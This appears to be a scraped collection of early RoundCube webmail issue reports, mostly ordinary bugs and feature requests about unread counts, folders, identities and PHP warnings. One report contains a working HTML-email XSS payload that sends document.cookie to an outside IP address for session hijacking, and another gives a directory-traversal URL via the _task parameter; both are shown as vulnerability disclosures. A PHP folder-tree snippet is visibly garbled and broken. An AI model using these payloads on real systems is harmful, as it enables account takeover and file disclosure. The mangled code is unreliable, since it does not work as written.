roundcube / roundcubemail Goto Github PK

I think it is extremely important to rename the files
in /config from .inc to inc.php. A normal user do not
have an idea how dangerously it is to have config files
with a other extension than php.

Thanks an keep going on the good work!

clicking unread (unseen) messages causes roundcube to
load the page endlessly without displaying the message.
No error message is produced.
I have to click stop loading and reload the page
afterwards.

It only happens to unread messages.

Tired it first with firefox 1.0.6 on gentoo linux and
could reproduce the problem with IE 6 on WinXP. I also
tried a different user account and got the same result.


(Apache 2, PHP4, Debian Sarge)

Hi,

The INBOX unread count shows negative values if I click
on an unread item and mark it as read.

This happens if for example you have a SPAM cleaning
agent, that cleans emails at the background, one
instance of RoundCube finds new emails, and counts
them, while the folder list doesn't, making the
counting return two different values... Looks like a
race condition between the two counting processes.

Most source code files in 0.1-20050820 have this
license boiler plate:

    Copyright (C) 2005, RoundCube Dev. - Switzerland
    All rights reserved.

This contradicts the claim (in the Webpage and in the
sf.net summary) that RoundCube is licensed under GPL terms.

Please update the license boiler plates in the source
code files. Also, it would be fine to mention the
license conditions of the source in a README file
(including the third party sources).

I am very interested in trying roundcube and using 
it in several places, but much prefer postgres as a 
database. Are there plans to support postgres 
alongside mysql? 

Don't see any option to "Reply to All".

When an URL over the line-wrapping length is included
in an email body (an example would be
'http://www.eff.org/legal/cases/EFF_ACLU_v_DoJ/HTML/960612_aclu_v_reno_decision.html')
RoundCube wraps the line after the final '/' character,
and does not include the post-wrap text in the hyperlink.

I would suggest that the Right Thing to do would be
either to not wrap the text, or to wrap as normal but
preserve the hyperlink for the entire text.

I'm translating roundcube to Spanish and Catalan
languages, and I've found two little problems doing so:

1. You have to edit "program/steps/settings/func.inc"
file in order to let users choice new languages. This
should be either automagically guessed (through listing
localization directory and adding a little setup.inc
with language name for each translation) or modifying
the global config file, but not having to edit
program's code ;)

2. There's a strange behavour when handling special
characters. Through trial-and-error I've seen that some
strings must be in "iso-8859-1" charset and others in
"utf-8". Yes, mixed on the same file :S Example follows
with config file as 8-bit encoded (iso-8859-1)

- Original string: Add to address book
- Spanish translation: Aade el contacto a la libreta
de direcciones

- Original string: Password
- Spanish translation: Contrasea

And the two strings are correctly displayed. If you try
to write "Contrasea" then it isn't shown correctly
displayed in roundcube.

Hope that you've been able to understand me hehe....

On the message list page, the scrollbar for the message
list scrolls the message list up and down, leaving the
rest of the page intact.  On the view mail page, the
scrollbar for the page (which is the default
entire-page scrollbar) scrolls everything up and down,
leaving only the bottom nav buttons unmoved.

I suggest that the message list behaviour is the right
one to use for the mail view - have a scrollbar for the
message body, leave the rest of the page fixed.

Using a login name such as [email protected] (everyone who
is required to use their email as their IMAP login),
logging into the IMAP server mail.doe.net causes
RoundCube to initially configure the email address as
[email protected]@mail.doe.net which causes problems when
sending mail. 

This is quickly remedied through the identity setting,
but can be confusing to a new user.

When reading a message I get the following warning
displayed behind the inbox.

Warning: Call-time pass-by-reference has been
deprecated - argument passed by value; If you would
like to pass it by reference, modify the declaration of
rcmail_str_replacement(). If you would like to enable
call-time pass-by-reference, you can set
allow_call_time_pass_reference to true in your INI
file. However, future versions may not support this any
longer. in
/var/www/yforce/cube/program/steps/mail/func.inc(421) :
regexp code on line 1

-Greg

I've got a folder with about 2000 messages and
Roundcube crashes when I click it.
This means: In Internet Explorer Roundcube shows an
empty folder and Firefox loads the page forever.

This seems specific to Firefox 1.0.6 on Linux (my
distribution is Ubuntu Breezy Colony 3 (with current
updates)).

The same action works fine with IE 6 and Firefox 1.0.6
on Windows XP.

Steps to Reproduce:

1. Login
2. Double-click on the subject line of a message in the
Inbox.

Expected Behavior:

Message will be displayed.

Actual Behavior:

The message never appears, and all items on the page
become non-functional.  Refreshing the page or clicking
back then forward "fixes" the hang, at least until one
tries to view a message again.

First of all, I want to thank you for this great software.
For a first realease RoundCube is impressing me.
It was nearly perfect for me, clean, reactive and well
looking interface, 

However there is two bugs, which frustate me, and then
stop me to remove completly horde/imp :)

The first one : 

My company and I use Courier imap server, wich store
all the
folders in the INBOX folder (separate byt a dot).

So when I left blank the $rcmail_config['imap_root'] = '';
I see my folder like these :

Inbox
INBOX.Sent
INBOX.Thrash
INBOX.Whatever.

In horde/imp I configure my 'imap_root'='INBOX.'.
But with this setting I cannot see any folders...
I try many other setting with no success.

So is there a trick here or is there a bug ?

Notice : I quickly hack the code, to remove the
'INBOX.' at the beginning at the display in the
program/steps/mail/func.inc and in the
manage_folders.inc files ; but this is ugly and dirty.

By sending an email (HTML) that contains something of
the sorts of:
<HTML>
<BODY>
<we onmouseover='document.write("<bo" + "dy><ht" +
"ml>" + document.cookie + " stolen<br><img src=ht" +
"tp://192.168.4.52/~noam/?" + document.cookie +
"><\\/img><\\/html><\\/body>");'>click</we>
</BODY>
</HTML>

I can cause a user hovering over the click text to
unwillingly send me his cookie, which in turn I can hijack.

I could of course load any external JS I would wish as
well, and preform other feats such as send emails to
his contacts, etc.

I got a perl script that generates this email, but I
think the above example is clear enough.

Adds the scroll and nowrap style so that long folder
names don't overflow or wrap over other text.

Have this imap login: [email protected] (yes, I have
to use domain also). When sending to my ISPs smtp
server (smartmail.hjemme.no), it says

SMTP Error in
/files1/www/docs/grimstveit.no/webmail/program/steps/mail/sendmail.inc
(179): Connection failed: 553 5.1.3 ... Invalid route
address

Using latest snapshot.

The mailcontframe content (Message List) does not check
for new messages.  It is expecially annoying when you
must click on a separate folder and back to the inbox
to see if you have new messages.

Thanks,

Michael Tracey

When a message is deleted from the Trash folder the
updated unread message count for the Trash folder is
displayed as the unread message count for the Inbox folder.

Add a configurable e-mail address where users can send
spam reports with a single click.

RoundCube Webmail guessed wrong at my email address,
which meant any emails I sent out before visiting the
identities dialog would have the wrong return address
on them.

When a user first logs in, they should have the
opportunity to configure the default identity.

Create a tree style view of the folder list instead of
a long list..

The following code, which isn't optimal, will generate
an arrayed hash of the folder structure... limitations
... only up to 4 levels deep are supported, the use of
"ROOT" as a base item isn't necessary...

Also I didn't know how to convert the below folder
structure into the viewable GUI... please proceed...
this is one of the features most (in my opinion)
missing from RoundCube.

  $foldernames = array();
  foreach ($a_folders as $i => $folder)
  {
   $currentsubfolder = $folder;
   $item = array();
   while (preg_match('/^([$matches))
   { // Current folder is a child...
    array_push($item, $matches[1](^\.]+)\.(.*)/',
$currentsubfolder,));
    $currentsubfolder = $matches[  }
   if ($currentsubfolder != "")
   {
    array_push($item, $currentsubfolder);
   }
   if (count($item) == 0)
   {
    $item = array("$folder");
   }

   if (array_key_exists($item[0](2];
), $foldernames))
   { // Parent folder already inside array
    if (count($item) == 2)
    {
     $foldernames[=
array("ROOT" => "N/A");
    }
    if (count($item) == 3)
    {
     $foldernames["$item[0]("$item[0]"]["$item[1]"])"][=
array("ROOT" => "N/A");
    }
    if (count($item) == 4)
    {

$foldernames["$item[0]("$item[1]"]["$item[2]"])"][array("ROOT" => "N/A");
    }
   }
   else
   {
    if (count($item) == 1)
    {
     $foldernames["$item[0]("$item[1]"]["$item[2]"]["$item[3]"]
=)"] = array("ROOT" => "N/A");
    }
    else
    {
     $foldernames[= array("ROOT" => $item[1]("$item[0]"]));
    }
   }
  }

  print "<PRE>";
  print_r($foldernames);
  print "</PRE>";

Hi,

The parameter _task is vulnerable to a directory
traversal vulnerability, for example:
http://host/round/?_auth=9bcadf6f7d3a66fd5af302b6d4dbdcb08f022c35&_task=../watermark

Would return the watermark HTML file, u need to be
logged on to access the files.

Tooltip for the Forward icon in the mail viewing page
is 'Forwad', should be 'Forward'. :o)

There needs to be an option to set the trash folder. My
IMAP server creates the trash folder at inbox/trash
instead of just trash. Roundcube will not delete
messages because of this.

In the file IMAP.INC on line 843, there is a call to a
function which is written as follows:

$num = iil_C_CountMessages(&$conn, $mailbox);

This produces the error:

Warning: Call-time pass-by-reference has been
deprecated - argument passed by value; If you would
like to pass it by reference, modify the declaration of
iil_c_countmessages(). If you would like to enable
call-time pass-by-reference, you can set
allow_call_time_pass_reference to true in your INI
file. However, future versions may not support this any
longer. in /home/www/roundcube/program/lib/imap.inc on
line 843

--

If you remove the & from the call to the function this
message goes away, so you replace the above line with:

$num = iil_C_CountMessages($conn, $mailbox);

This stops the messages from coming up, and does not
break the code. This will make the code compatible with
PHP5

Hope this helps

Colin

What would be nice is the ability to change your email
password.

C

Main page does not check if cookie has expired.

If you login, then browse elsewhere for however long it
takes to expire... when you return, you will still see
your inbox.

Only have you perform an action eg. Read a message,
write a new one, will it tell you "Session has expired"

-Greg

When folder names are very long, they extend into the 
main text area.

There are some alternative browsers (like Omniweb) which could 
quite nicely handle Roundcube... if they could get to the interface.

Google's many AJAX apps provide a link that offers the ability to 
continue even if the app does not recognise the ID string.

Might I suggest that if the web browser provides:
Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/
125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.50

... that Roundcube either default to providing the Gecko version, 
or the KHTML/Webkit version if there are Safari-specific 
modifications (assuming the user chooses to continue).

Thanks
quidire
(at)
gmail
(dot)
com

Second bug : 

I the display of non-mime, plain text email, the last
character always disappear.
This is really a problem, ok in general it is the
signature; but sometime it break something important,
like the last character of an URL for example.

Thanks in advance.
--
raf
[email protected] 

In the mail folder view, the ability to sort by columns
(sender, date, subject, etc) would be a very useful
feature...

It would be nice to be able to view a list of just all
the new email in any folder.

When specifying multiple servers, it'd be nice to be
able to give a friendly name for the server that is
show instead of the servername at the login page.

I can not currently access my imap service provider as
they only provide imaps. I know that you can rip the
code out of ilohamail as the development version
supports imaps perfectly.


Just add a checkbox next to the login somewhere that
says secure connection.

Awesome piece of software!!! Keep it up!

Add the ability to purge all messages from the trash
and junk folders with a single click. If there are a
large number of messages choosing select all and delete
multiple times can be time consuming.

This patch will remove the error:

Warning: Call-time pass-by-reference has been
deprecated - argument passed by value; If you would
like to pass it by reference, modify the declaration of
iil_c_countmessages(). If you would like to enable
call-time pass-by-reference, you can set
allow_call_time_pass_reference to true in your INI
file. However, future versions may not support this any
longer. in /home/www/roundcube/program/lib/imap.inc on
line 843

----

This is only my fix and is not something which is
offical from RoundCube. Use this if you wish to install
this on a PHP5 server and you don't have access to
change the server settings.

Hope this helps

Colin

Roundcube is pretty impressive in Beta and it looks great!

You appear to be Mac users, so I'm sure you're familiar with Address 
Books new feature that enables you to publish your address book to 
your .Mac account, just like you can publish a calendar with 
Calendar.  Others can subscribe to the calendar and it will appear in 
their Address Book.

Since I keep all of my contacts in Address Book (a lengthy list), it 
would be great to be able to have Roundcube subscribe to my 
published Address Book so I can have the benefit of Roundcube's 
slick interface and all of my contacts from Address Book.

I know this will appeal to a limited number of users, but I imagine 
that mac fans would love it.

Eric Peters

If I have three folders "FOO", "Foo" and "fooey" and I
select "FOO", it highlights all three.

If there is a space in a folder name, it does not
transform the space in the link to %20.  Causes weird
multi-select bug if you select "Sent", it also selects
"Sent Items".

Trying to open a message with a 4MB zip file, and it
never opens (Waited 10 minutes).  Many of the screen
elements lock, can't click on "compose" afterwards. 
Must click and open another message before gettign
control back again.

On a seconary note, a warning that the message you are
trying to open is large and may take a little time
might be good.

Thanks, your project looks nice.

Michael Tracey
michael dot iotech at net